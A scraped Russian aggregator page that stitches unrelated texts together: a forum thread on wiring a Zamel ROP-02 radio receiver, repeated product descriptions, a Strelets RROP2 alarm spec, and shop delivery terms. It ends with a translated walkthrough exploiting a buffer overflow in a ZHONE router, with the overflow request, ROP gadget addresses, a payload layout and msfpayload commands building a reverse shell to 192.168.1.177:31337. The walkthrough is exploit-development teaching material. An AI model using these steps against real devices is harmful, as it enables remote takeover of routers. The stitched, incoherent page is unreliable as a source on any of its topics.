Руководства, Инструкции, Бланки

Rop 02 инструкция img-1

Rop 02 инструкция

Рейтинг: 4.9/5.0 (1881 проголосовавших)

Категория: Инструкции

Описание

Помогите подключить Zamel ROP-02 - фото - Форум Mastercity

Помогите подключить Zamel ROP-02

Помогите с подключением.
В щитке есть УЗО за которым прячутся все розетки, освещение подключено до УЗО.
Есть вот такое устройство: которое устанавливается в коробке выключателя. Для его подключения нужен ноль. Добрые дяди строители провели ноль освещения видимо через портал (вскрыл все распаячные коробки в комнате, есть ноль от розеток который через УЗО, других нолей нет), от патрона нулевой провод кинуть не смогу (дом панельный, не понятно как там эти каналы идут).

Придумал несколько схем, все со своими минусами, вот они в порядке неудобности:

  1. Переключить освещение за УЗО и взять ноль от розеток. (очень не хочется топать в темноте к щитку когда выбьет УЗО)
  2. Кинуть ноль от щитка до выключателя. (10-15 метров очень неудобно, да не охота штробу к выключателю резать бетон конский)
  3. Переключить освещение комнаты на линию розеток. (изменение сечения провода, да и не правильно это, душа не приемлет)
  4. Подключить приборчик к линии питания розеток и пусть он переключает линию света. (самый желательный вариант, но не уверен что прокатит, вдруг эту ахинею УЗО унюхает и будет отключаться)

Подскажите какой вариант более правильный, или может есть способ гораздо проще?

Регистрация: 03.08.2012 г. Нижний Новгород Сообщений: 9594

16.11.2013 в 11:30

Может проще найти родной нолик?
Чрез распаячные коробки должны проходить линии освещения.
Или спросить у добрых дядей как они провели свет

  1. Разместить прибор под декоративным колпаком люстры, где имеется и фаза, и ноль.
  1. Переключить освещение за УЗО и взять ноль от розеток. (очень не хочется топать в темноте к щитку когда выбьет УЗО)

Не вариант, поскольку в любом случае,

7.1.36.
Не допускается объединение нулевых рабочих и нулевых защитных проводников различных групповых линий.

  1. Переключить освещение комнаты на линию розеток. (изменение сечения провода, да и не правильно это, душа не приемлет)
  1. Подключить приборчик к линии питания розеток и пусть он переключает линию света. (самый желательный вариант, но не уверен что прокатит, вдруг эту ахинею УЗО унюхает и будет отключаться)

неясно, есть ли связь контактной группы с питанием самого устройства.

Спасибо за ответы!

После замечания services понял что, раз оно может включать свет при отключенном выключателе, значит связь есть и УЗО таки сработает. Самый ленивый вариант отпадает.

  1. Разместить прибор под декоративным колпаком люстры, где имеется и фаза, и ноль.

Идея богатая но там нет постоянной фазы. Этот вариант будет работать только если отказаться от настенного выключателя (закоротить его на постоянное включение) и пользоваться только пультом, это не удобно.

andrewkhv написал.
Не вариант, поскольку в любом случае,
7.1.36.
Не допускается объединение нулевых рабочих и нулевых защитных проводников различных групповых линий.

А в чем причина? В щитке все нули после УЗО на одной шинке, т.е. и так объеденены как и РЕ собственно. Просто в щитке 2 шинки нулей, до УЗО (свет и эл.плита) и после УЗО (розетки,розетки кухни, ванна-туалет). Но этот вариант мне в любом случае не нравится(

С содроганием думаю что прийдется тащить 15 метров нулевого провода

services написал.
Я так понял Вы захотели люстру на два включения. У замеля есть радиоклавиша на два канала и приемник,который монтируется в люстру, кнопка с батарейки. Питание не нужно, прикрепите на место существующего выключателя,а родной замкнете на постоянку, чуть дороже, зато не надо заморачиватся.

Немного не понял принцип. В родном выключателе нет нуля, а без нуля прибор не будет работать. Если найти ноль, то выключатель можно не трогать.

4eh написал.
а прибору плохо не станет, если вы его выход закоротите паралельным выключателем ?Я так понимаю у него не релейный выход.

Так он на это и рассчитан. получает фазу,ноль,две фазы после двойного выключателя (когда они включены конечно). Выдает две фазы на две лампы.

services написал.
Существующие провода в выключателе замыкаете на постоянку и убираете в подрозетник, а сверху крепите 2-х канальную радиокнопку.
А передатчик монтируете в люстру, где есть постоянно и фаза и ноль. Все просто.

Ну да, это на самом деле лучший вариант. Единственный минус во всей квартире легранд валена, а в спальне сбой системы и радиокнопка замель. Но всегда приходится чем то жертвовать.

Я например пожертвовал своей ленью и протащил 15 метров нулевого провода от щитка до спальни, с полутораметровой штробой до выключателя (благо штробу от щитка до плинтуса не закрыл еще). Так что проблема в общем решена.

Другие статьи

Protectmyfile3: Страницы

  • Страницы

Zamel Rop-02 Инструкция с торрента

Купить систему видеонаблюдения Zamel ROP - 02 белый. Продажа систем безопасности ROP - 02 по лучшим ценам с доставкой по г. Москва и другим.

ROP - 02 инструкция.pdf ROP - 02 предоставляет возможность работы в 5 режимах (включение, выключение, моностабильный режим, бистабильный.

  • Приемник для коробочного монтажа ROP -03 wylacznik dotykowy 230 V AC WDN- 02 i WDN-03 сенсорный выключател 230 V АС WDN- 02 и WDN-03.
  • Все инструкции ZAMEL, беспроводные компоненты EXTA FREE. ROP - 02, ROP - 02 инструкция.pdf, PDF 640 KB. RTI-01, RTI-01 инструкция.pdf, PDF 215.

Встраиваемый двухканальный радиоприемник Zamel ROP-02 применяется для дистанционного управления осветительными, отопительными и другими домашними системами. Он чутко реагирует на сигналы.

Все устройства подключаются довольно просто, есть подробная инструкция. Вариант с использованием оборудования Zamel Exta Free (Польша). 2, Беспроводное реле ROP - 02, 2 канал, функция таймера, 1, по запросу.

Zamel Приемник встраиваемый ROP-02 (2 канала)

Zamel Приемник встраиваемый ROP-02 (2 канала)

Назначение: управление электроприборами (включение, выключение, моностабильный режим, бистабильный, временной) 2 канала.

Встраиваемые радиоприемники находят свое применение так в качестве элементов для установки в монтажных коробках при настенном и скрытом монтаже, как и в качестве исполнительных устройств, непосредственно в корпусах светового оформления и других приемников. ROP-02 предоставляет возможность работы в 5 режимах (включение, выключение, моностабильный режим, бистабильный, временной).

Функциональные качества изделия:

  • Совместная работа с передатчиками беспроводной системы управления EXTA FREE,
  • два выходных реле (беспотенциальные контакты 230V AC),
  • управление работой освещения, отопления, другими,
  • простой монтаж во внутренней коробке Ø 60 мм,
  • 5 рабочих режимов: включение, выключение, моностабильный режим, бистабильный, временной (выключение с задержкой),
  • большая дальность действия (до 250 м),
  • оптическая сигнализация работы,
  • низких расход мощности, возможность постоянной работы,
  • возможность увеличения дальности действия посредством применения ретрансмиттера RTN-01.

ВНИМАНИЕ! Указанная дальность действия относится к открытому пространству, т.е. идеальным условиям, без преград. Если между передатчиком и приемником находятся преграды, следует предвидеть уменьшение дальности действия для: кирпича от 10 до 40%, дерева и гипса от 5 до 20%, армированного бетона от 40 до 80%, металла от 90 до 100%, стекла от 10 до 20%. Негативное воздействие на дальность действия имеют также воздушные и подземные линии электропередачи высокой мощности, а также антенны сотовой связи, размещенные поблизости устройств.

Zamel ROP-02 радиоприемник встраиваемый (2 канала)

Zamel ROP-02 радиоприемник встраиваемый (2 канала) Символ Описание

Встраиваемые радиоприемники находят свое применение так в качестве элементов для установки в монтажных коробках при настенном и скрытом монтаже, как и в качестве исполнительных устройств, непосредственно в корпусах светового оформления и других приемников. ROP-02 предоставляет возможность работы в 5 режимах (включение, выключение, моностабильный режим, бистабильный, временной).

Функциональные качества изделия:

  • Совместная работа с передатчиками беспроводной системы управления EXTA FREE,
  • два выходных реле (беспотенциальные контакты 230V AC),
  • управление работой освещения, отопления, другими,
  • простой монтаж во внутренней коробке O 60 мм,
  • 5 рабочих режимов: включение, выключение, моностабильный режим, бистабильный, временной (выключение с задержкой),
  • большая дальность действия (до 250 м),
  • оптическая сигнализация работы,
  • низких расход мощности, возможность постоянной работы,
  • возможность увеличения дальности действия посредством применения ретрансмиттера RTN-01.

ВНИМАНИЕ! Указанная дальность действия относится к открытому пространству, т.е. идеальным условиям, без преград. Если между передатчиком и приемником находятся преграды, следует предвидеть уменьшение дальности действия для: кирпича от 10 до 40%, дерева и гипса от 5 до 20%, армированного бетона от 40 до 80%, металла от 90 до 100%, стекла от 10 до 20%. Негативное воздействие на дальность действия имеют также воздушные и подземные линии электропередачи высокой мощности, а также антенны сотовой связи, размещенные поблизости устройств.

ТОРГОВЫЕ ДАННЫЕ (ROP-02)

Zamel Cet

Название

ДВУХКАНАЛЬНЫЙ ВСТРАИВАЕМЫЙ РАДИОПРИЕМНИК

Символ Описание

Встраиваемые радиоприемники находят свое применение так в качестве элементов для установки в монтажных коробках при настенном и скрытом монтаже, как и в качестве исполнительных устройств, непосредственно в корпусах светового оформления и других приемников. ROP-02 предоставляет возможность работы в 5 режимах (включение, выключение, моностабильный режим, бистабильный, временной).

Функциональные качества изделия:

  • Совместная работа с передатчиками беспроводной системы управления EXTA FREE,
  • два выходных реле (беспотенциальные контакты 230V AC),
  • управление работой освещения, отопления, другими,
  • простой монтаж во внутренней коробке O 60 мм,
  • 5 рабочих режимов: включение, выключение, моностабильный режим, бистабильный, временной (выключение с задержкой),
  • большая дальность действия (до 250 м),
  • оптическая сигнализация работы,
  • низких расход мощности, возможность постоянной работы,
  • возможность увеличения дальности действия посредством применения ретрансмиттера RTN-01.

ВНИМАНИЕ! Указанная дальность действия относится к открытому пространству, т.е. идеальным условиям, без преград. Если между передатчиком и приемником находятся преграды, следует предвидеть уменьшение дальности действия для: кирпича от 10 до 40%, дерева и гипса от 5 до 20%, армированного бетона от 40 до 80%, металла от 90 до 100%, стекла от 10 до 20%. Негативное воздействие на дальность действия имеют также воздушные и подземные линии электропередачи высокой мощности, а также антенны сотовой связи, размещенные поблизости устройств.

ТОРГОВЫЕ ДАННЫЕ (ROP-02)

Rop 02 инструкция

ПРЕДНАЗНАЧЕН:
Для работы с устройствами радиосистемы СТРЕЛЕЦ в качестве приемно-контрольного устройства (ПКУ).

ОБЛАСТЬ ПРИМЕНЕНИЯ:
Организация охранно-пожарной, адресно-аналоговой пожарной сигнализации и оповещения на объектах различного назначения в качестве автономной радиосистемы СТРЕЛЕЦ или в составе ИСБ Стрелец-Интеграл.

ОСОБЕННОСТИ:
• выполняет функции:
- в радиосистеме СТРЕЛЕЦ - координатора радиосети (КР), дочернего ПКУ или маршрутизатора;
- в составе ИСБ Стрелец-Интеграл - только дочернее ПКУ или маршрутизатор.
• 2 проводных шлейфа сигнализации (ШС);
• 2 выхода для включение светового (СО) и звукового (ЗО) оповещения с контролем на обрыв и короткое замыкание ;
• 3 релейных выхода;
• динамическая маршрутизация между ПКУ;
• разнесенный радиоприем;
• два варианта исполнения корпуса (пластиковое и крейтовое для установки в БП–12/2A ).

ОСНОВНЫЕ ХАРАКТЕРИСТИКИ:
• контроль и управление дочерними радиоустройствами СТРЕЛЕЦ ;
• приём, обработка и ретрансляция пакетов информации между ПКУ радиосистемы;
• управление встроенными выходами согласно запрограммированной логики;
• обмен информацией с ПК, устройствами передачи извещений СПИ "Атлас-20 ", радиопередатчиками "Аргон ", устройствами автодозвона "УОО-АВ исп.1 ", "Тандем-IP-И " и другими внешними устройствами посредством интерфейса RS-232;
• контроль основного и резервного источников питания;
• защита от несанкционированного доступа (датчик вскрытия);
• протокол на 256 событий.

Программируемые параметры:
Настройка с помощью ПК и ПО "WirelEx" посредством интерфейса RS-232 или с ПУ-Р .
• общие параметры радиосистемы (рабочий частотный канал, код системы);
• топология радиосистемы (построение и изменение состава ПКУ радиосистемы и закрепленных за ними дочерних устройств);
• параметры ПКУ и закрепленных за ними дочерних устройств;
• параметры ШС (охранный, пожарный, тревожный, технологический, управления, один из которых может быть назначен входом управления);
• параметры выходов (условия запуска, задержки, ограничения времени работы);
• гибкая настройка режима работы выхода СО:
- взят-включен непрерывно;
- снят-выключен;
- тревога-меандр 1с/1с.

Управление:
• ключами Touch Memmory и Proximity-картами;
• входом управления;
• пульты управления - ПУ-Р. ПУП-Р. ПУЛ-Р. ПУ-ТМ ;
• блоки управления и контроля БУК-Р ;
• глобальные или локальные радиобрелки управления РБУ .

Индикация:
• двухцветный (красный и зелёный) светодиодный индикатор, отображающий неисправность "РРОП2" и состояние основного и резервного источников питания;
• блоки выносной индикации БВИ-8 (до 2 штук);

Входы:
• контроля основного и резервного источников питания;
• подключения считывателей ключей Touch Memory и Proximity-карт;
• два шлейфа сигнализации.

Выходы:
• 2 выхода открытый коллектор для управления СО и ЗО (с контролем целостности линии на обрыв и КЗ);
• 2 выхода для подключения блоков выносной индикации БВИ-8 ;
• 3 релейных выхода (2 ПЦН и 1 Силовое);
• интерфейс RS-232.

РРОП2 в пластиковом корпусе

РРОП2 в крейтовом корпусе

ROP-02 Zamel Приемник встраиваемый (2 канала)

Zamel Приемник встраиваемый (2 канала) Описание

Технические характеристики "Zamel Приемник встраиваемый (2 канала)" (ROP-02):

Номинального выходного напряжения 230 V AC
Частота 868 MHz
Кодировка трансмиссия с адресацией
Каналы приемника 2
Радиус действия Приемника 250 m
Степень защиты приемника IP20
Максимальный ток реле 5 A
Максимальное напряжение реле 250 V AC
Максимальная мощность реле 1250 VA
Категория использования AC1
Контакты 2 NO

Встраиваемые радиоприемники находят свое применение так в качестве элементов для установки в монтажных коробках при настенном и скрытом монтаже, как и в качестве исполнительных устройств, непосредственно в корпусах светового оформления и других приемников. ROP-02 предоставляет возможность работы в 5 режимах (включение, выключение, моностабильный режим, бистабильный, временной).

Функциональные качества изделия:

  • Совместная работа с передатчиками беспроводной системы управления EXTA FREE,
  • два выходных реле (беспотенциальные контакты 230V AC),
  • управление работой освещения, отопления, другими,
  • простой монтаж во внутренней коробке O 60 мм,
  • 5 рабочих режимов: включение, выключение, моностабильный режим, бистабильный, временной (выключение с задержкой),
  • большая дальность действия (до 250 м),
  • оптическая сигнализация работы,
  • низких расход мощности, возможность постоянной работы,
  • возможность увеличения дальности действия посредством применения ретрансмиттера RTN-01.

ВНИМАНИЕ! Указанная дальность действия относится к открытому пространству, т.е. идеальным условиям, без преград. Если между передатчиком и приемником находятся преграды, следует предвидеть уменьшение дальности действия для: кирпича от 10 до 40%, дерева и гипса от 5 до 20%, армированного бетона от 40 до 80%, металла от 90 до 100%, стекла от 10 до 20%. Негативное воздействие на дальность действия имеют также воздушные и подземные линии электропередачи высокой мощности, а также антенны сотовой связи, размещенные поблизости устройств.

Параметры товара Zamel Приемник встраиваемый (2 канала) : Купить ROP-02 Zamel Приемник встраиваемый (2 канала) с доставкой Условия доставки

При условии наличия всего заказа:

Доставка на следующий день, если заказ размещен до 16.00;

Доставка через один день, если заказ размещен после 16.00.

В случае, если Вы полностью отказываетесь от заказа по причинам, не зависящим от магазина (т.е. курьер прибыл вовремя и доставленный товар обладает надлежащим качеством), Вам необходимо будет компенсировать (на основании п.3 ст. 497 ГК РФ http://www.gk-rf.ru/statia497) понесенные магазином расходы, связанные с доставкой товара, т.е. оплатить стоимость доставки товара.

В остальных случаях сроки оговариваются.

Способы доставки

Самовывоз из офиса (предварительный звонок обязателен );

Доставка курьером, до 5 кг;

Доставка автомобильная, до 1,5 тонн;

Доставка автомобильная, свыше 1,5 тонн.

Заказы передаются курьером, только после получения оплаты.
Доставка крупногабаритного и тяжелого груза осуществляется до подъезда.

Стоимость доставки (оплата наличными):

При заказе до 10 000 рублей стоимость доставки составит - 500 руб. (+ 30 руб/км от МКАД);

При заказе свыше 10 001 рублей доставка составит - бесплатно (+ 30 руб/км от МКАД);

Стоимость доставки автомобильной свыше 1,5 тонн оговаривается отдельно с менеджером интернет-магазина.

Доставка в регионы

Амперкин.ру осуществляет продажу электромонтажного оборудования в регионы России. Доставку осуществляет через транспортную компанию ЖелДорЭкспедиция. Это быстро, надёжно и удобно.

Как сделать заказ?

Сформируйте заказ, который Вы хотите приобрести в нашем интернет-магазине, затем положите выбранный товар в корзину и зарегистрируйтесь на нашем сайте. При регистрации выберите тип оплаты безналичный расчёт или интернет-деньги (ROBOKASSA ).

Проконсультироваться по вопросам доставки в регионы можно по телефону +7 (495) 363-51-53 с 9:00 до 18:00 московского времени или по e-mail. Менеджер обработает и подтвердит заказ, выставит счёт на оплату по e-mail. Стоимость доставки до транспортной компании от 10000 руб. – бесплатно, до 10000 руб. – 500 руб. Рассчитать стоимость доставки и страховки груза перевозчиком можно на сайте нашего партнёра ЖелДорЭкспедиция. Услуги транспортной компании оплачивает клиент, мы осуществляем только отправку товара в Ваш регион.

Как оплатить?

Оплатить Ваш заказ можно в любом банке или интернет-деньгами на нашем сайте. Деньги поступят на наш расчетный счёт в течение 1-3 банковских дней, о чём Вас известит менеджер нашего интернет-магазина.

Как доставляется товар?

После поступления денег на наш расчетный счёт товар полностью проверяется и упаковывается для отправки. Затем товар передаётся в ЖелДорЭкспедицию и Вам сообщается номер накладной и телефон по которому можно узнать где находится Ваш товар в любое время.

Доставка в регионы осуществляется через транспортную компанию ЖелДорЭкспедиция

Амперкин.ру осуществляет продажу электромонтажного оборудования в регионы России. Доставку осуществляет через транспортную компанию ЖелДорЭкспедиция. Это быстро, надёжно и удобно.

Условия оплаты

За наличный расчет - курьеру при доставке;

По безналичному банковскому переводу - 100% предоплата;

Онлайн платеж через систему ROBOKASSA, поддерживает:

ВНИМАНИЕ! При выборе способа оплаты через систему ROBOKASSA уточняйте, пожалуйста, наличие товара на складе!

Яндекс.Деньги – доступный и безопасный способ платить за товары и услуги через интернет. Пополнение счета и оплата заказов происходят в реальном времени на сайте платежной системы.

Webmoney (все знаки). Предлагаемые товары и услуги предоставляются не по заказу лица либо предприятия, эксплуатирующего систему WebMoney Transfer. Мы являемся независимым предприятием, оказывающим услуги, и самостоятельно принимаем решения о ценах и предложениях. Предприятия, эксплуатирующие систему WebMoney Transfer, не получают комиссионных вознаграждений или иных вознаграждений за участие в предоставлении услуг и не несут никакой ответственности за нашу деятельность. Аттестация, произведенная со стороны WebMoney Transfer, лишь подтверждает наши реквизиты для связи и удостоверяет личность. Она осуществляется по нашему желанию и не означает, что мы каким-либо образом связаны с продажами операторов системы WebMoney.

Валюта ВКонтакте (Россия, Украина, Беларусь)

Единый кошелек (Россия)

Банковские карты: Visa, Mastercard, Maestro.

Банкоматы: ВТБ 24 (ЗАО), ОАО БАНК "ПЕТРОКОММЕРЦ".

Интернет-банк: Альфа-Клик, Система Телебанк, HandyBank.

Терминалы мгновенной оплаты: Элекснет, Новоплат (СПб, регионы), Уникасса (СПб, регионы), Comepay (Россия), Pinpay (Новосибирск), Абсолют плат (Челябинск), Money-money (СПб, регионы).

iPhone (Apple): оплата выставленных счетов через приложение ROBOKASSA без комиссии.

Системы банковских переводов без открытия счета: Contact.

Для того, чтобы приобрести Zamel Приемник встраиваемый (2 канала) ROP-02 оптом заполните форму здесь. и мы пришлем Вам индивидуальное предложение.

Эксплуатация переполнение буфера на архитектурах MIPS

Эксплуатация переполнение буфера на архитектурах MIPS

В этой статье мы детально рассмотрим процесс написания эксплоита для устройства на основе архитектуры MIPS. В описываемом эксплоите используется актуальная уязвимость в шлюзе на базе роутера ZHONE, о которой я писал в октябре 2015 года.

Редактирование и поддержка: Bernhard Mueller

В этой статье мы детально рассмотрим процесс написания эксплоита для устройства на основе архитектуры MIPS. В описываемом эксплоите используется актуальная уязвимость в шлюзе на базе роутера ZHONE, о которой я писал в октябре 2015 года. Более подробную информацию о данной бреши можно найти по адресу http://www.securityfocus.com/archive/1/536666.

Спровоцировать переполнение стека довольно просто при помощи однострочной команды, посылающей слишком большую строку в административную веб-консоль роутера.

GET /<7000 A’s>.cgi HTTP/1.1
<Other HTTP Headers>

2. Выполнение и отладка эксплоита

Для того чтобы отследить и отладить переполнение стека, мы должны запустить GDBServer на роутере и подцепиться к процессу HTTPD. Ниже указаны инструкции для кросс-компиляции GDBServer.

2. Компиляция GDB: /path/to/gdb-src/configure --target=mips-linux-gcc

3. Компиляция GDBServer: /path/to/gdb-src/gdb/gdbserver/configure --host=mips-linux-gcc

На роутере запускаем GDBServer при помощи следующей команды:

/gdbserver –multi <Your Router Gateway IP>:<Any Port number that you want to
use> &

/gdbserver –multi 192.168.1.1:1234 &

Далее ищем PID процесса httpd:


Рисунок 1: Поиск процесса с именем httpd

Чтобы подключить gdb к GDB Server, выполните на вашей машине следующую команду:

/gdb
target extended--‐remote 192.168.1.1:1234
attach <pid of httpd binary>


Рисунок 2: Подключение gdb к GDB Server

Как только gdb подцепился к процессу, можно начинать отладку во время переполнения стека. После отсылки GET-запроса, указанного выше, возникает переполнение, а gdb показывает примерно следующее:


Рисунок 3: Результаты работы gdb во время переполнения стека

Как следует из рисунка выше, мы успешно перезаписали регистр ‘$ra’ и некоторые другие полезные регистры, например, s0-s7. В архитектуре MIPS регистр ‘$ra’ сохраняет адрес возврата (схож с регистром ‘EIP’). Если мы контролируем этот регистр, то контролируем поток выполнения программы, который можно использовать для выполнения произвольного кода.

Теперь нам нужно определить точные смещения в буфере, позволяющие перезаписать значения в регистрах ‘$s0’-‘$s7’ и ‘$ra’. Мы будем использовать ‘pattern_create.rb’, утилиту идущую в комплекте с Metasploit и позволяющую сгенерировать случайный паттерн и определить смещения к регистрам, которые мы хотим контролировать.

В Kali Linux приложение Metasploit уже установлено, и можно запустить pattern_create.rb следующим образом:

После генерации заменяем 7 тысяч символов ‘A’ внутри полезной нагрузки на новый паттерн и переполняем стек. Теперь мы можем определить позицию каждого регистра внутри строки, используемой при атаке, посредством копирования значений из регистров в утилиту pattern_create.tb:

При помощи корректных смещений мы можем перезаписать регистры более осознанно, как показано на рисунке ниже.


Рисунок 4: Повторная перезапись регистров

Теперь нам нужно найти на карте памяти такие сегменты, которые помечены как выполняемые. В случае с архитектурой MIPS обычно не приходится иметь дело с защитами наподобие Data Execution Protection (DEP). В нашем примере стек оказался помеченным на выполнение.


Рисунок 5: Перечень сегментов памяти с указанием прав доступа

3. Некогерентность кэша

В процессе написания эксплоитов для MIPS-устройств зачастую появляются проблемы, связанные с некогерентностью кэша и возникающие в случаях, если шелл код состоит из самомодифицирующихся элементов, например, кодировщика для плохих символов. Во время работы дешифровщика расшифрованные инструкции попадают в кэш данных (и не записываются обратно в память). Но когда выполнение доходит до раскодированной части шелл кода, из кэша инструкций процессор вынимает все еще закодированные инструкции.


Чтобы преодолеть эту проблему, мы должны принудительно вызвать блокирующую функцию (например, «sleep») из библиотеки LibC. Во время «засыпания» процессора произойдет одно или несколько смен контекстов и кэш сбросится. Более подробно о вызове библиотечных функций мы поговорим в следующем разделе, посвященном обходу ASLR.

Если в шелл-коде вы используется кодирование только секции .data (например, имени файла), тогда проблем, связанных с некогерентростью кэша не возникнет, поскольку во время чтения и записи будет обращение только к кэшу данных.

При написании эксплоитов довольно часто возникает проблема, связанная с защитой ASLR (Address space layout randomization; рандомизация адресного пространства). ASLR случайным образом выстраивает позиции ключевых областей данных, включая базовый адрес выполняемого файла, позиции библиотек, кучи и стека в адресном пространстве процесса.

Существует два способа обхода ASLR:

1. Работа с модулями, где не включена защита ASLR. Эти модули будут иметь фиксированный базовый адрес даже при перезапуске процесса или системы.

2. Использование утечки указателя во время утечки памяти или при наличии других уязвимостей.

Для обхода ASLR мы будем использовать ROP (Return-Oriented Programming; Возвратно-Ориентированное Программирование). ROP – одна из вариаций классической атаки возврата в библиотеку (return-into-libc attack), когда злоумышленник соединяет вместе несколько инструкций или «гаджетов», найденных в памяти процесса.

В нашем случае алгоритм эксплоита будет выглядеть следующим образом:

1. Поскольку мы контролируем возвратный адрес в регистре ‘$ra’, то можем поместить адрес первого ROP-гаджета в регистр ‘$ra’. Таким образом, мы даем указание процессу httpd на переход по адресу первого ROP-гаджета и выполнение инструкции, находящейся по этому адресу.

2. Вначале нужно использовать ROP-гаджет для установки значения 1 в регистр $a0 для того, чтобы успешно выполнить функцию sleep.

3. Второй ROP-гаджет будет запускать функцию sleep, которая хранится в библиотеке LibC.

4. Третий ROP-гаджет будет сохранять местонахождение стека (где хранится наш шелл-код) в какой-то регистр.

5. Четвертый и последний ROP-гаджет будет переходить в правильное место внутри стека для выполнения шелл-кода.

Для поиска ROP-гаджетов будем использовать плагин для IDA, написанный Крейгом Хеффнером (Craig Heffner). Более подробную информацию об этом плагине можно найти по адресу https://github.com/devttys0/ida/tree/master/plugins/mipsrop

5. Использование ROP-гаджетов

Вначале мы должны определить, какие использовать ROP-гаджеты и как выстроить цепочку в эксплоите.

Первый ROP-гаджет должен устанавливать значение 1 в регистр $a0, а затем переходить к следующему гаджету.

Используем ранее упомянутый плагин для нахождения нужной инструкции:

mipsrop.find(“li $a0, 1”)


Рисунок 7: Результат выполнения команды mipsrop.find(“li $a0, 1”)

Мы будем использовать ROP-гаджет по адресу ‘511C8’, показанный ниже.


Рисунок 8: Местонахождение первого ROP-гаджета

Так как это наш первый ROP-гаджет, мы должны заменить адрес возврата на адрес ‘511C8’+смещение.

Следующая инструкция, идущая после первого ROP-гаджета, устанавливает значение в регистре $s3 в регистр $t9 и переходит к тому адресу. В нашем эксплоите мы контролируем содержимое регистра $s3.

Второй ROP-гаджет должен выполнять функцию sleep() из библиотеки libc.

Вначале необходимо найти адрес функции sleep в бинарном файле библиотеки, извлеченном из роутера Zhone.

Найти адрес функции sleep можно в IDA Pro:

1. Открываем окно «View Functions».

2. Ищем по ключевому слову sleep.


Рисунок 9: Поиск функции sleep

Обращаем внимание, что функция sleep хранится по адресу 4FFD0.

Далее, чтобы выполнить функцию sleep, нужно при помощи плагина найти ROP-гаджет, содержащий набор инструкций для перехода к адресу, к которому мы захотим.

Используем функцию tails для поиска инструкций move:


Рисунок 10: Результат выполнения команды mipsrop.tails()

После изучения потенциальных кандидатов находим нужный ROP-гаджеты (см. рисунок ниже):


Рисунок 11: Блок инструкций для перехода по установленному адресу

Блок кода, показанный выше, осуществляет переход к адресу, находящемуся в регистре $s1.

Далее код берет значение из стека и сохраняет как адрес возврата в регистре $ra. Поскольку мы контролируем ту часть стека, откуда считывается это значение, то можем сделать так, чтобы осуществился переход к следующему ROP-гаджету.

Теперь нам нужно найти ROP-гаджет, берущий значение по адресу из стека, который мы контролируем, и сохраняющий данное значение в регистр. Этот трюк нужен для выполнения нашего шелл-кода.

Используем плагин для поиска инструкций, сохраняющих адрес стека в регистре:



Рисунок 12: Результат выполнения команды mipsrop.stackfinders()

ROP-гаджет, показанный ниже, выглядит подходящим:


Рисунок 13: Подходящий ROP-гаджет, сохраняющий адрес стека в регистре

Следует отметить два момента:

1. Мы копируем адрес, указывающий на подконтрольную нам часть стека, в регистр $s0: addiu $s0, $sp, 0xA8+var_90.

2. Мы переходим к четвертому ROP-гаджету через регистр ‘$s1’. В предыдущем ROP-гаджете указатель на стек копировался в регистр $s1: move $t9, $s1; jalr $t9.

После того как мы получили адрес, указывающий на шелл-код, в регистре $s01, нам нужен ROP-гаджет, который переходит к регистру $s01.

Используем плагин для поиска нужной инструкции:

mipsrop.find(“move $t9, $s0”)


Рисунок 14: Результат выполнения команды mipsrop.find(“move $t9, $s0”)


Рисунок 15: Подходящий ROP-гаджет

Теперь у нас есть все необходимые ROP-гаджеты, и мы можем приступать к написанию эксплоита.

6. Создание эксплоита – Вычисление смещений

Далее нам нужно вычислить конечный адрес для использования с найденными ранее ROP-гаджетами. Это можно сделать, если взглянуть на карту памяти. В нашем случае библиотека libc не защищена ASLR, гаджеты будут находиться по неизменным адресам, а сам эксплоит будет более надежным.


Рисунок 16: Карта памяти, относящейся к библиотеке libc

Базовый адрес библиотеки libc: 0x2b259000.

Ниже показаны вычисления конечных адресов для каждого ROP-гаджета:

1. Первый ROP-гаджет: $ra = 511C8 (первый ROP-гаджет) + базовый адрес libc = 0x2B2AA1C8. Этот адрес будет храниться в регистре $ra.

2. Второй ROP-гаджет: $s3 = 1A95C (второй ROP-гаджет) + базовый адрес libc = 0x2b27395c. Этот адрес будет храниться в регистре $s3.

3. Адрес функции sleep из библиотеки libc: $s1 = 4FFD0 (адрес функции sleep) + базовый адрес libc = 0x2b2a8fd0. Этот адрес будет храниться в регистре $s1.

Адреса последних ROP-гаджетов должны храниться в стеке, поскольку будут копироваться из стека в регистр через второй ROP-гаджет.

4. Третий ROP-гаджет: $ra = 0x28+var_4($sp) = 47EB8 (третий ROP-гаджет) + базовый адрес libc = 0x2b2a0eb8. Этот адрес будет храниться по адресу 0x28+var_4($sp), который мы контролируем через большую строку, отсылаемую в эксплоите.

5. Четвертый ROP-гаджет: $s1 = 0x28+var_C($sp) = 1f8c0 (четвертый ROP-гаджет) + базовый адрес libc = 0x2b2788c0. Этот адрес будет храниться по адресу 0x28+ var_C($sp), который мы контролируем через большую строку, отсылаемую в эксплоите.

Результирующая полезная нагрузка выглядит следующим образом:

Полезная нагрузка =
5117 байт + Регистр $s0 (NOP) +
Регистр $s1 (0x2b2a8fd0) +
Регистр $s2 (NOP) +
Регистр $s3 (0x2b27395c) +
Регистр $s4 - $s7 (NOP) +
Регистр $ra (0x2B2AA1C8) +
(NOP) * 7 +
Второй регистр $s1 (0x2b2788c0) +
NOP +
Второй регистр $ra (0x2b2a0eb8) +
NOP * 14 +
Дешифровщик шелл-кода +
Закодированный вызов функции fork() +
Закодированный реверсивный шелл-код

Примечание: в полезной нагрузке, показанной выше, инструкция NOP может быть представлена следующим образом:

nor t6,t6,zero
\x27\x70\xc0\x01

Написание кодировщика, вызова функции fork и реверсивного шелл-кода мы рассмотрим в следующих разделах.

7. Создание эксплоита – Написание кодировщика для шелл-кода под архитектуру MIPS

Мы не будем рассматривать в деталях написание шелл-кода под архитектуру MIPS, но рассмотрим написание кодировщика. Для генерации реверсивного шелл-кода под архитектуру MIPS можно использовать модуль ‘msfpayload’, идущий в составе Metasploit.

msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 X

При создании эксплоитов мы часто встречаемся с плохими символами, которые не пригодны к использованию. После многих часов отладки выяснилось, что следующие символы нельзя использовать в эксплоитах:

0x20 0x00 0x3a 0x0a 0x3f

Первым делом мы попробуем закодировать шелл-код при помощи кодировщика Metasploit под архитектуру MIPS без плохих символов:

msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 R |
msfencode --‐e mipsbe/longxor --‐b '0x20 0x00 0x3a 0x0a 0x3f' --‐t c

Во время тестов выяснилось, что закодированный шелл-код будет запускаться только с прикрепленным отладчиком. После расследования я решил, что проблема может быть связана с кодировщиком в Metasploit.

